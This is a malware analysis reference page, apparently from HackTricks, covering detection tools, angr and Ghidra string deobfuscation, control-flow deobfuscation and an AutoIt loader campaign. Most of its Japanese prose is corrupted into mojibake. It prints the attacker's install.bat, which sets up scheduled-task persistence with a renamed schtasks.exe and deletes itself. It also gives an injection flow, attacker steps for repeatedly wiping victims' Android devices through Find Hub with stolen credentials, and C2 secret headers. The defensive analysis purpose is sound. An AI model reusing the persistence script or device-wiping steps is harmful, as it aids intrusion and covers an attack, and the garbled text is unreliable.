ãã«ãŠã§ã¢è§£æ
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
ãã©ã¬ã³ãžã㯠ããŒãã·ãŒã
https://www.jaiminton.com/cheatsheet/DFIR/#
ãªã³ã©ã€ã³ãµãŒãã¹
ãªãã©ã€ã³ã®ã¢ã³ããŠã€ã«ã¹ããã³æ€åºããŒã«
Yara
ã€ã³ã¹ããŒã«
sudo apt-get install -y yara
ã«ãŒã«ã®æºå
ãã®ã¹ã¯ãªããã䜿ã£ãŠ github ãããã¹ãŠã® yara malware rules ãããŠã³ããŒãããŠããŒãžããŸã: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
rules ãã£ã¬ã¯ããªãäœæããŠã¹ã¯ãªãããå®è¡ããŠãã ãããããã«ããããã¹ãŠã® yara rules ãå«ã malware_rules.yar ãšãããã¡ã€ã«ãäœæãããŸãã
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
ã¹ãã£ã³
yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder
YaraGen: malwareã®ãã§ãã¯ãšyara rulesã®äœæ
ãã€ããªããyara rulesãçæããã«ã¯ãããŒã«YaraGenã䜿çšã§ããŸãããããã®ãã¥ãŒããªã¢ã«ãåç §ããŠãã ãã: Part 1, Part 2, Part 3
python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m ../../mals/
ClamAV
ã€ã³ã¹ããŒã«
sudo apt-get install -y clamav
ã¹ãã£ã³
sudo freshclam #Update rules
clamscan filepath #Scan 1 file
clamscan folderpath #Scan the whole folder
Capa
Capa ã¯å®è¡ãã¡ã€ã«ïŒPE, ELF, .NETïŒã«å«ãŸããæœåšçã«æªæã®ãã capabilities ãæ€åºããŸãããããã£ãŠãAtt&ck tactics ãæ¬¡ã®ãããªçããã capabilities ãæ€åºã§ããŸã:
- check for OutputDebugString error
- run as a service
- create process
å ¥æå 㯠Github repo ã§ãã
IOCs
IOC 㯠Indicator Of Compromise ãæå³ããŸããIOC ã¯ãæœåšçã«æãŸãããªããœãããŠã§ã¢ãç¢ºèªæžã¿ã® malware ãèå¥ããããã® conditions that identify ã®éåã§ããBlue Teams ã¯ãã®çš®ã®å®çŸ©ãçšããŠãèªåãã¡ã® systems ã networks å
ã§ search for this kind of malicious files ãè¡ããŸãã
ãããã®å®çŸ©ãå
±æããããšã¯éåžžã«æçšã§ããããã³ã³ãã¥ãŒã¿ã§ malware ãç¹å®ããããã® malware ã® IOC ãäœæããããšãä»ã® Blue Teams ãããã䜿ã£ãŠ malware ãããéãç¹å®ã§ããŸãã
IOC ãäœæã»ä¿®æ£ããããŒã«ã®äžã€ã IOC Editor.
Redline ã®ãããªããŒã«ã䜿ã£ãŠãããã€ã¹å
ã§ search for defined IOCs in a device ãè¡ãããšãã§ããŸãã
Loki
Loki 㯠Simple Indicators of Compromise åãã®ã¹ãã£ããŒã§ãã
æ€åºã¯4ã€ã®æ€åºæ¹æ³ã«åºã¥ããŠããŸã:
1. File Name IOC
Regex match on full file path/name
2. Yara Rule Check
Yara signature matches on file data and process memory
3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)
Linux Malware Detect
Linux Malware Detect (LMD) 㯠GNU GPLv2 ã©ã€ã»ã³ã¹ã§ãªãªãŒã¹ããã Linux åãã® malware scanner ã§ãå ±æãã¹ãã£ã³ã°ç°å¢ã§çŽé¢ããè åšãæ³å®ããŠèšèšãããŠããŸãããããã¯ãŒã¯ãšããžã®äŸµå ¥æ€ç¥ã·ã¹ãã ããã®è åšããŒã¿ãå©çšããŠãå®éã«æ»æã§äœ¿çšãããŠãã malware ãæœåºããæ€åºçšã®ã·ã°ããã£ãçæããŸããããã«ãLMD ã® checkout æ©èœã«ãããŠãŒã¶ãŒæåºã malware ã³ãã¥ããã£ã®ãªãœãŒã¹ãããè åšããŒã¿ãååŸããŸãã
rkhunter
Tools like rkhunter can be used to check the filesystem for possible rootkits and malware.
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
FLOSS
FLOSS ã¯ãããŸããŸãªææ³ãçšããŠå®è¡ãã¡ã€ã«å ã®é£èªåãããæååãæ€åºããããšããããŒã«ã§ãã
PEpper
PEpper ã¯ãå®è¡ãã¡ã€ã«å éšã®åºæ¬çãªé ç®ïŒãã€ããªããŒã¿ããšã³ããããŒãURLsãIPsãããã€ãã®yaraã«ãŒã«ïŒããã§ãã¯ããŸãã
PEstudio
PEstudioã¯ãimportsãexportsãheadersãªã©ã®Windowså®è¡ãã¡ã€ã«æ å ±ãååŸã§ããããŒã«ã§ãããã«virus totalããã§ãã¯ããæœåšçãªAtt&ckæè¡ãæ€åºããŸãã
Detect It Easy(DiE)
DiEã¯ããã¡ã€ã«ãencryptedãã©ãããæ€åºããpackersãèŠã€ããããŒã«ã§ãã
NeoPI
NeoPI ã¯ãPythonã¹ã¯ãªããã§ãããŸããŸãªstatistical methodsã䜿çšããŠããã¹ã/ã¹ã¯ãªãããã¡ã€ã«å ã®obfuscatedããã³encryptedã³ã³ãã³ããæ€åºããŸããNeoPIã®ç®çã¯ãdetection of hidden web shell codeã®æ¯æŽã§ãã
php-malware-finder
PHP-malware-finderã¯ãobfuscated/dodgy codeã®æ€åºããwebshellsãmalwaresã§ãã䜿ãããPHP颿°ã䜿çšãããã¡ã€ã«ã®æ€åºã«æåãå°œãããŸãã
Apple Binary Signatures
äžéšã®malware sampleã確èªããéã¯ããã€ããªã®check the signatureãå¿ ãè¡ã£ãŠãã ããã眲åããdeveloperãæ¢ã«relatedããŠãã**malware.**ã§ããå¯èœæ§ãããããã§ãã
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
#Check if the appâs contents have been modified
codesign --verify --verbose /Applications/Safari.app
#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app
æ€åºææ³
File Stacking
ãããããã©ã«ããWebãµãŒãã®filesãå«ã¿ãlast updated on some dateã§ããããšãåãã£ãŠãããªããWebãµãŒãå ã®å šãŠã®filesãäœæã»å€æŽãããdateãcheckããããã©ããã®dateãsuspiciousã§ããã°ãã®ãã¡ã€ã«ã確èªããŸãã
Baselines
ãã©ã«ãã®ãã¡ã€ã«ãshouldnât have been modifiedã¯ãã§ããã°ããã®ãã©ã«ãã®original filesã®hashãèšç®ããcurrentãªãã®ãšcompareããŸãã倿ŽãããŠãããã®ã¯å šãŠsuspiciousã§ãã
Statistical Analysis
ãã°ã«æ å ±ãä¿åãããŠããå Žåãcheck statistics like how many times each file of a web server was accessed as a web shell might be one of the most ã®ãããªçµ±èšã確èªã§ããŸãã
Android in-app native telemetry (no root)
Androidã§ã¯ãã¿ãŒã²ããã¢ããªã®ããã»ã¹å ã§ãã€ãã£ãã³ãŒãããä»ã®JNIã©ã€ãã©ãªãåæåãããåã«å°ããªãã¬ãŒã©ã€ãã©ãªãããªããŒãããŠinstrumentããããšãã§ããŸããããã«ãããã·ã¹ãã å šäœã®ããã¯ãrootãªãã§ãã€ãã£ãæåãæ©æã«å¯èŠåã§ããŸããäžè¬çãªã¢ãããŒãã¯SoTapã§ãæ£ããABIåãã®libsotap.soãAPKã«å ¥ããæ©æã«System.loadLibrary(âsotapâ)åŒã³åºãïŒäŸ: static initializerãApplication.onCreateïŒãæ¿å ¥ããŠãå éš/å€éšãã¹ãLogcatãã©ãŒã«ããã¯ãããã°ãåéããŸãã
See the Android native reversing page for setup details and log paths:
Android/JNI native string deobfuscation with angr + Ghidra
äžéšã®Androidãã«ãŠã§ã¢ãRASPä¿è·ãããã¢ããªã¯ãRegisterNativesãåŒã¶åã«å®è¡æã«JNIã¡ãœããåãã·ã°ããã£ããã³ãŒãããŠé ããŸããFrida/ptraceã«ããinstrumentationãanti-debugã§åæ¢ãããŠãããã€ããªå ã®ãã³ãŒããangrã§å®è¡ããŠå¹³æããªãã©ã€ã³ã§åŸ©å ãããã®çµæãGhidraã«ã³ã¡ã³ããšããŠæ»ãããšãã§ããŸãã
éèŠãªèãæ¹: .soå ã®ãã³ãŒããåŒã³åºãå¯èœãªé¢æ°ãšããŠæ±ãã.rodataã®é£èªåããããã€ãåã«å¯ŸããŠãããå®è¡ããæåã®\x00ïŒCæååçµç«¯ïŒãŸã§ã®åºåãã€ããå ·äœåããŸããã¢ãã¬ã¹äžäžèŽãé¿ããããã«angrãšGhidraã§åãã€ã¡ãŒãžããŒã¹ã䜿çšããŠãã ããã
Workflow overview
- Triage in Ghidra: identify the decoder and its calling convention/arguments in JNI_OnLoad and RegisterNatives setup.
- Run angr (CPython3) to execute the decoder for each target string and dump results.
- Annotate in Ghidra: auto-comment decoded strings at each call site for fast JNI reconstruction.
Ghidra triage (JNI_OnLoad pattern)
- Apply JNI datatypes to JNI_OnLoad so Ghidra recognises JNINativeMethod structures.
- Typical JNINativeMethod per Oracle docs:
typedef struct {
char *name; // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr; // native implementation address
} JNINativeMethod;
- Look for calls to RegisterNatives. If the library constructs the name/signature with a local routine (e.g., FUN_00100e10) that references a static byte table (e.g., DAT_00100bf4) and takes parameters like (encoded_ptr, out_buf, length), that is an ideal target for offline execution.
angr setup (execute the decoder offline)
- Load the .so with the same base used in Ghidra (example: 0x00100000) and disable auto-loading of external libs to keep the state small.
angr ã»ããã¢ãããšãªãã©ã€ã³ãã³ãŒãå®è¡
```python import angr, jsonproject = angr.Project( â/path/to/libtarget.soâ, load_options={âmain_optsâ: {âbase_addrâ: 0x00100000}}, auto_load_libs=False, )
ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra
def decode_string(enc_addr, length):
fresh blank state per evaluation
st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(bâ\x00â, 1)[0].decode(âutf-8â, errors=âignoreâ)
Example: decode a JNI signature at 0x100933 of length 5 â should be ()[B
print(decode_string(0x00100933, 5))
</details>
- å€§èŠæš¡ã«æ±ãå Žåã¯ãcall sites ãš decoder ã®åŒæ° (encoded_ptr, size) ã®éçããããæ§ç¯ããŸããWrappers ãåŒæ°ãé ãããšããããããAPI recovery ãäžå®å®ãªå Žå㯠Ghidra xrefs ãããã®ãããã³ã°ãæåã§äœæããããšããããŸãã
<details>
<summary>angr ã䜿ã£ãŠè€æ°ã® call sites ãäžæ¬ã§ãã³ãŒããã</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}
decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }
import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)
Ghidraã§ã³ãŒã«ãµã€ãã«æ³šéãä»ãã Option A: Jython-only comment writer (äºåã«çæããã JSON ã䜿çš)
- angrã¯CPython3ãå¿ èŠãšãããããdeobfuscation ãš annotation ã¯åé¢ããŠãã ããããŸãäžèšã®angrã¹ã¯ãªãããå®è¡ã㊠decoded_strings.json ãçæããŸããæ¬¡ã«ãã® Jython GhidraScript ãå®è¡ããŠãååŒã³åºãç®æã« PRE_COMMENTs ãæžã蟌ã¿ïŒã³ã³ããã¹ããšããŠåŒã³åºãå 颿°åãå«ããŸãïŒ:
ãã³ãŒãããã JNI æååã«æ³šéãä»ããããã® Ghidra Jython ã¹ã¯ãªãã
```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnitAsk for the JSON produced by the angr script
f = askFile(âSelect decoded_strings.jsonâ, âLoadâ) mapping = json.load(open(f.absolutePath, ârâ)) # keys as hex strings
fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()
Replace with your decoder address to locate call-xrefs (optional)
ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)
callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()
Write comments from JSON
for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else â%s @ %sâ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(â[+] Annotated %d call sitesâ % len(mapping))
</details>
Option B: Single CPython script via pyhidra/ghidra_bridge
- Alternatively, use pyhidra or ghidra_bridge to drive Ghidraâs API from the same CPython process running angr. This allows calling decode_string() and immediately setting PRE_COMMENTs without an intermediate file. The logic mirrors the Jython script: build callsiteâfunction map via ReferenceManager, decode with angr, and set comments.
ãªããããæå¹ã§ããã€äœ¿ãã
- Offline execution 㯠RASP/anti-debug ãåé¿ããŸãïŒæåå埩å·ã« ptrace ã Frida ããã¯ãå¿
èŠãšããŸããã
- Ghidra ãš angr ã® base_addrïŒäŸ: 0x00100000ïŒãåãããŠããããšã§ã颿°ïŒããŒã¿ã®ã¢ãã¬ã¹ãäž¡ããŒã«éã§äžèŽããŸãã
- ãã³ãŒãã®åçŸå¯èœãªæé ïŒå€æãçŽç²é¢æ°ãšããŠæ±ããæ°ãã state ã«åºåãããã¡ãå²ãåœãŠã(encoded_ptr, out_ptr, len) ã§åŒã³åºãããã®åŸ state.solver.eval ã§å
·äœåã \x00 ãŸã§ã® C-strings ãããŒã¹ããŸãã
泚æç¹ãšèœãšã穎
- ã¿ãŒã²ããã® ABI/calling convention ãå°éããŠãã ãããangr.factory.callable 㯠arch ã«åºã¥ããŠéžæããŸãïŒåŒæ°ããããŠããããã«èŠããå Žå㯠cc ãæç€ºããŠãã ããã
- ãã³ãŒãããŒãåæåãããåºåãããã¡ãæåŸ
ããå Žåã¯ãåŒã³åºãåã« state å
ã§ outbuf ããŒãã§åæåããŠãã ããã
- position-independent 㪠Android .so ã§ã¯ãangr å
ã®ã¢ãã¬ã¹ã Ghidra ã§èŠãããã®ãšäžèŽããããã«å¿
ã base_addr ãæž¡ããŠãã ããã
- ã¢ããªãèãã¹ã¿ãã§ãã³ãŒããã©ããããŠããå Žåã§ããcall-xrefs ãåæããããã« currentProgram.getReferenceManager() ã䜿çšããŠãã ããã
For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)
---
## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)
Modern malware families heavily abuse Control-Flow Graph (CFG) obfuscation: instead of a direct jump/call they compute the destination at run-time and execute a `jmp rax` or `call rax`. A small *dispatcher* (typically nine instructions) sets the final target depending on the CPU `ZF`/`CF` flags, completely breaking static CFG recovery.
ãã®ææ³ã¯ SLOW#TEMPEST ããŒãã§é¡èã«èŠãããŸãããIDAPython ãš Unicorn CPU emulator ã®ã¿ã䜿ã£ã 3 ã¹ãããã®ã¯ãŒã¯ãããŒã§å¯ŸåŠã§ããŸãã
### 1. Locate every indirect jump / call
```python
import idautils, idc
for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")
2. ãã£ã¹ãããã£ã®ãã€ãã³ãŒããæœåºãã
import idc
def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s
start = get_dispatcher_start(jmp_ea)
size = jmp_ea + idc.get_item_size(jmp_ea) - start
code = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)
3. Unicornã䜿ã£ãŠããã2åãšãã¥ã¬ãŒããã
from unicorn import *
from unicorn.x86_const import *
import struct
def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)
run(code,0,0) ãš run(code,1,1) ãå®è¡ã㊠false ãš true ã®ãã©ã³ãã¿ãŒã²ãããååŸããŸãã
4. çŽæ¥ã® jump / call ããããã§å ã«æ»ã
import struct, ida_bytes
def patch_direct(ea, target, is_call=False):
op = 0xE8 if is_call else 0xE9 # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))
ãããé©çšåŸãIDAã«é¢æ°ã匷å¶çã«åè§£æãããŠãå®å šãªCFGãšHex-Raysã®åºåã埩å ããŸã:
import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))
5. 鿥 API åŒã³åºãã«ã©ãã«ãä»ãã
å call rax ã®å®éã®å®å
ã倿ããããããã IDA ã«æããããšã§ããã©ã¡ãŒã¿åã倿°åãèªåçã«åŸ©å
ãããŸã:
idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+
å®çšçãªå©ç¹
- å®éã® CFG ãå埩 â decompilation ã 10 è¡ããæ°åè¡ã«å¢ããã
- string-cross-reference & xrefs ãå¯èœã«ããæ¯ãèãã®åæ§ç¯ã容æã«ããã
- Scripts ã¯åå©çšå¯èœïŒåãããªãã¯ã§ä¿è·ãããä»»æã® loader ã«æå ¥ããã ãã§äœ¿ããã
AutoIt-based loaders: .a3x 埩å·ãTask Scheduler ã®åœè£ ããã³ RAT æ³šå ¥
ãã®äŸµå ¥ãã¿ãŒã³ã¯ signed MSIãAutoIt loadersïŒ.a3x ã«ã³ã³ãã€ã«ãããïŒãããã³ benign app ãšããŠåœè£ ããã Task Scheduler job ãé£éãããã
MSI â custom actions â AutoIt orchestrator
Process tree ãš MSI custom actions ã«ãã£ãŠå®è¡ããã commands:
- MsiExec.exe â cmd.exe ã䜿ã£ãŠ install.bat ãå®è¡
- WScript.exe ã䜿ã£ãŠãã³ã€ã®ãšã©ãŒãã€ã¢ãã°ã衚瀺
%SystemRoot%\system32\cmd.exe /c %APPDATA%\ì€ížë ì€ íŽëЬìŽ\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\ì€ížë ì€ íŽëЬìŽ\error.vbs
install.bat (drops loader, sets persistence, self-cleans):
@echo off
set dr=Music
copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3
cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"
del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"
error.vbs (ãŠãŒã¶ãŒåããã³ã€):
MsgBox "íì¬ ìì€í
ìžìŽí©ê³Œ íë¡ê·žëš ìžìŽí©ìŽ ížíëì§ ìì ì€íí ì ììµëë€." & vbCrLf & _
"ì€ì ìì íêµìŽ(ëí믌êµ) ìžìŽí©ì ì€ì¹íê±°ë ë³ê²œí ë€ ë€ì ì€ííŽ ì£Œìžì.", _
vbCritical, "ìžìŽí© ì€ë¥"
Key artifacts and masquerade:
- AutoIt3.exe ãš IoKlTr.au3 ã C:\Users\Public\Music ã«ãããããã
- schtasks.exe ã hwpviewer.exe ã«ã³ããŒããïŒHangul Word Processor viewer ãšããŠãªãããŸãïŒ
- æ¯åå®è¡ãããã¹ã±ãžã¥ãŒã«ã¿ã¹ã¯ âIoKlTrâ ãäœæãã
- ã¹ã¿ãŒãã¢ããã® LNK 㯠Smart_Web.lnk ãšããŠç¢ºèªãããïŒmutex:
Global\AB732E15-D8DD-87A1-7464-CE6698819E701 - ã¢ãžã¥ãŒã«ã %APPDATA%\Google\Browser\ ã®
adbãŸãã¯advãå«ããµããã©ã«ãã«é 眮ããautoit.vbs/install.bat ãã«ããŒçµç±ã§èµ·åãã
Forensic triage tips:
- schtasks åæ:
schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer" - Task XML ãšåãå Žæã«ãã schtasks.exe ã®åå倿Žãããã³ããŒãæ¢ã:
dir /a "C:\Users\Public\Music\hwpviewer.exe" - å
±éã®ãã¹:
C:\Users\Public\Music\AutoIt3.exe,...\IoKlTr.au3, StartupSmart_Web.lnk,%APPDATA%\Google\Browser\(adb|adv)* - ããã»ã¹çæãçžé¢ä»ãã: AutoIt3.exe ãæ£èŠã® Windows ãã€ããªïŒäŸ: cleanmgr.exe, hncfinder.exeïŒãçæãã
AutoIt loaders and .a3x payload decryption â injection
- AutoIt ã¢ãžã¥ãŒã«ã¯
#AutoIt3Wrapper_Outfile_type=a3xã§ã³ã³ãã€ã«ãããçµã¿èŸŒãŸãããã€ããŒãã埩å·ããŠããæ£åœãªããã»ã¹ã«æ³šå ¥ããã - 芳枬ããããã¡ããªãŒ: QuasarRATïŒhncfinder.exe ã«æ³šå
¥ïŒãRftRAT/RFTServerïŒcleanmgr.exe ã«æ³šå
¥ïŒãããã³ RemcosRAT ã¢ãžã¥ãŒã«ïŒ
Remcos\RunBinary.a3xïŒã - 埩å·ãã¿ãŒã³: HMAC ã«ãã£ãŠ AES ããŒãå°åºããåã蟌ãŸãããããã埩å·ããŠãããã¬ãŒã³ããã¹ãã®ã¢ãžã¥ãŒã«ãæ³šå ¥ããã
Generic decryption skeleton (exact HMAC input/algorithm is family-specific):
import hmac, hashlib
from Crypto.Cipher import AES
def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 â first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()
def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)
Common injection flow (CreateRemoteThread-style):
- ã¿ãŒã²ãããã¹ãïŒäŸ: cleanmgr.exeïŒã CreateProcessïŒãµã¹ãã³ãïŒãã
- åŸ©å·æžã¿ã¢ãžã¥ãŒã«/ã·ã§ã«ã³ãŒããçšã㊠VirtualAllocEx + WriteProcessMemory
- payload ãå®è¡ããããã« CreateRemoteThread ãŸã㯠QueueUserAPC ã䜿çš
Hunting ideas
- 芪ããã»ã¹ã MsiExec.exe ãŸã㯠WScript.exe ã® AutoIt3.exe ãã·ã¹ãã ãŠãŒãã£ãªãã£ãèµ·åããŠãã
- public/ãŠãŒã¶ãŒæžã蟌ã¿å¯èœãªãã¹äžã®
.a3xæ¡åŒµåã®ãã¡ã€ã«ã AutoIt ã¹ã¯ãªããã©ã³ã㌠- ååäœã®ããªã¬ãŒãæã¡ãAutoIt3.exe ãå®è¡ããã Microsoft 眲åã®ãªããã€ããªãå®è¡ããçãããã¹ã±ãžã¥ãŒã«ã¿ã¹ã¯
Android Find My Device (Find Hub) ã®ã¢ã«ãŠã³ãä¹ã£åãæªçš
Windows ã®äŸµå ¥äžãæ»æè ã¯çãã Google è³æ Œæ å ±ã䜿ãã被害è ã® Android ããã€ã¹ãç¹°ãè¿ãæ¶å»ããŠéç¥ãæå¶ãã€ã€ã被害è ã®ãã°ã€ã³æžã¿ãã¹ã¯ãããã¡ãã»ã³ãžã£ãŒçµç±ã§ã¢ã¯ã»ã¹ãæ¡å€§ããã
Operator steps (from a logged-in browser session):
- Google Account â Security â Your devices ã確èªããFind My Phone â Find Hub (https://www.google.com/android/find) ã«é²ã
- ããã€ã¹ãéžæ â Google ãã¹ã¯ãŒããåå ¥å â âErase deviceâïŒfactory resetïŒãå®è¡ïŒå埩ãé ãããããã«ç¹°ãè¿ã
- ä»»æ: ãªã³ã¯ãããŠããã¡ãŒã«ããã¯ã¹ïŒäŸ: NaverïŒå ã®ã¢ã©ãŒãã¡ãŒã«ãåé€ããŠã»ãã¥ãªãã£éç¥ãé ã
Tracing heavily obfuscated Node.js loaders
æ»æè
ã¯ãŸããŸã JavaScript ããŒããŒã nexe ã§ã³ã³ãã€ã«ãããã¹ã¿ã³ãã¢ãã³ã® Windows ãã€ããªå
ã«ãã³ãã«ããŠãããã©ã³ã¿ã€ã ãã¹ã¯ãªãããšäžç·ã«é
åžãããããã®çµæã§ãã PE 㯠60â90â¯MB çšåºŠã«ãªããNode.js ãã€ã³ã¹ããŒã«ãããŠããªããŠãå®è¡ããããããªã¢ãŒãžäžã«:
- åã蟌ãŸãã JavaScript ã PE ããæœåºããŠéç diff çšã®ããŒã«ã«ããŒã«ã«æž¡ãããã«
nexe_unpackerã䜿ãã %TEMP%ã«ãã£ã¹ã¯ããŒã¹ã®ãã¥ãŒããã¯ã¹ãããããšãå€ãïŒGachiLoader ã¯çŽ5åã§æ¶ããã©ã³ãã ãª<name>.lockãã¡ã€ã«ãèœãšãïŒãå®è¡åã«ãã®ãã¡ã€ã«ããµã³ãããã¯ã¹ã«ã³ããŒããŠãããšãåé·ãªã¹ããŒãžãã¹ããããã€ã€åŸç¶ã® payloads ã芳å¯ã§ããã
Node.js API tracing to defeat anti-analysis
Check Pointâs Nodejs-Tracer ã¯ä»»æã® Node.js ããã»ã¹å ã®ã³ã¢ã¢ãžã¥ãŒã«ã«ããã¯ãå ¥ããanti-VM ãããŒããåœè£ ã§ãããµã³ãã«ãæžãåºããã¹ãŠã®ã¢ãŒãã£ãã¡ã¯ããä¿åãããé£èªåãããã¹ã¯ãªããã tracer çµç±ã§èµ·åããŠãã¢ããªã¹ãå¶åŸ¡ã®ã€ã³ã¹ãã«ã¡ã³ããŒã·ã§ã³ãã³ãŒã«ã¹ã¿ãã¯ã«æ®ã:
node -r .\tracer.js main.js
Key configuration toggles inside tracer.js allow you to:
- ãã¡ã€ã«ã·ã¹ãã ãåããã»ã¹ãHTTP ã®ã¢ã¯ãã£ããã£ããã°å (
LOG_HTTP_REQUESTS,SAVE_FILE_WRITES)ãäŸãã°kidkadi.nodeã®ãããªããããããããã¡ã€ã«ã¯ããã«ãŠã§ã¢ãåé€ããåã«äœæ¥ãã£ã¬ã¯ããªã«ã³ããŒãããŸãã - RAM/CPU ã«ãŠã³ããçŸå®çã«è¿ãããã
taskliståºåãåœè£ ããããPowerShell/WMI ã®å¿çãæ¹ããããŠç°å¢ãã£ã³ã¬ãŒããªã³ããäžæžãããŸããããã«ãããâ¥4â¯GB RAMãâ¥2 ã³ã¢ãèŠæ±ãããããŠãŒã¶ãŒåïŒmashinesssssãwdagutilityaccountçïŒããã¹ãåïŒdesktop-vrsqlagãserver1âŠïŒãããã»ã¹åïŒvmtoolsd.exeãfiddler.exeãx64dbg.exeãfrida-server.exeïŒã粟æ»ããããŒããŒããã€ãã¹ã§ããŸãã Get-WmiObject Win32_DiskDriveïŒvmwareãkvmãvirtioçãæ¢ãïŒãWin32_VideoControllerïŒâVirtualBox Graphics AdapterâãâHyper-V Videoâçã鮿ïŒãWin32_PortConnectorã®æ°ãã§ãã¯ãªã©ã® WMI ããŒããŠã§ã¢ãã§ãã¯ãç¡å¹åããŸãããããã®ãããŒããã宿©ãããŒããŠã§ã¢ãå ±åãããšããµã³ãããã¯ã¹ã¯ GachiLoader ãè§£æãé ãããããã«äœ¿çšããInvoke-WebRequestã®linkedin.comãgrok.comãwhatsapp.comãªã©ãžã®ç¡éã«ãŒãã«é¥ããªããªããŸãã
Capturing gated C2 traffic automatically
The tracerâs network hooks reveal multi-layer C2 authentication without reversing the JavaScript obfuscation. In the observed campaign the loader:
- ããŒãã³ãŒããããå C2 ã«ãã¹ãã®ãã¬ã¡ããªã
/logã« POST ããŸãã X-Secret: gachifamilyãããä»ãã§GET /richfamily/<per-sample key>ãçºè¡ããBase64 ãšã³ã³ãŒãããããã€ããŒã URL ãååŸããŸãã- æåŸã«ãã® URL ã«å¯ŸããŠé·ããµã³ãã«åºæã®
X-Secretããããä»ããŠGETãè¡ããŸãããããæ¬ ãããš403 Forbiddenãè¿ããŸãã
